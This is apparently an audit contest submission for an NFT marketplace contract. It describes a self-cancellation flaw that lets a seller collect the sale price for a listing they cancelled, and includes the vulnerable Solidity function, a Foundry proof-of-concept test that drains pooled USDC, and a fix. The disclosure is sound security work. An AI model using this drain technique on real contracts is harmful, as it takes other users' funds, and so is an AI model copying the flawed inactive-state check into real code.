NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Theft of Funds via Self-Cancellation

Author Revealed upon completion

Root + Impact

Description

The protocol assumes that if a listing is inactive, it must have been sold. However, the cancelListing function also sets isActive to false.

  • Normal Behavior: A user should cancel a listing to retrieve their locked collateral. They should only be able to collect a "sale price" if a buyer has actually transferred USDC into the contract for that specific listing.


  • Specific Issue: The collectUsdcFromSelling function does not verify how the listing became inactive. It simply checks !listing.isActive. A malicious user can list an NFT for a high price, immediately cancel it, and then call collectUsdcFromSelling to claim that high price from the protocol's global USDC pool (fees or other users' collateral).

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
// @> Root Cause: This check passes even if the listing was CANCELED
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
// ... transfers amountToSeller to the user
}

Risk

Likelihood: High

  • Any user can perform this attack at any time.

  • It requires no external buyer or market activity.

Impact: High

  • Direct theft of protocol funds.

Proof of Concept

Paste this test function in NFTDealersTest.t.sol

function test_selfCancelDrainFunds() public revealed {
uint256 tokenId = 1;
uint32 initialPrice = 10e6;
deal(address(usdc), address(nftDealers), 100e6);
mintAndListNFTForTesting(tokenId, initialPrice);
​
vm.prank(userWithCash);
nftDealers.cancelListing(tokenId);
​
uint256 userWithCashBalanceBefore = usdc.balanceOf(userWithCash);
​
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
​
uint256 userWithCashBalanceAfter = usdc.balanceOf(userWithCash);
​
assertGt(userWithCashBalanceAfter, userWithCashBalanceBefore, "Seller drained more than the initial collateral!");
}

Recommended Mitigation

The contract needs a way to distinguish between a Sold state and a Canceled state. You can add an isSold boolean to the Listing struct or use an enum for Status.

+ enum ListingStatus { Active, Canceled, Sold, Claimed }
​
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
- bool isActive;
+ ListingStatus status;
}
​
function buy(uint256 _listingId) external payable {
// ... check status is Active
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.Sold;
}
​
function collectUsdcFromSelling(uint256 _listingId) external {
- require(!listing.isActive, ...);
+ require(s_listings[_listingId].status == ListingStatus.Sold, "Not sold");
+ s_listings[_listingId].status = ListingStatus.Claimed;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!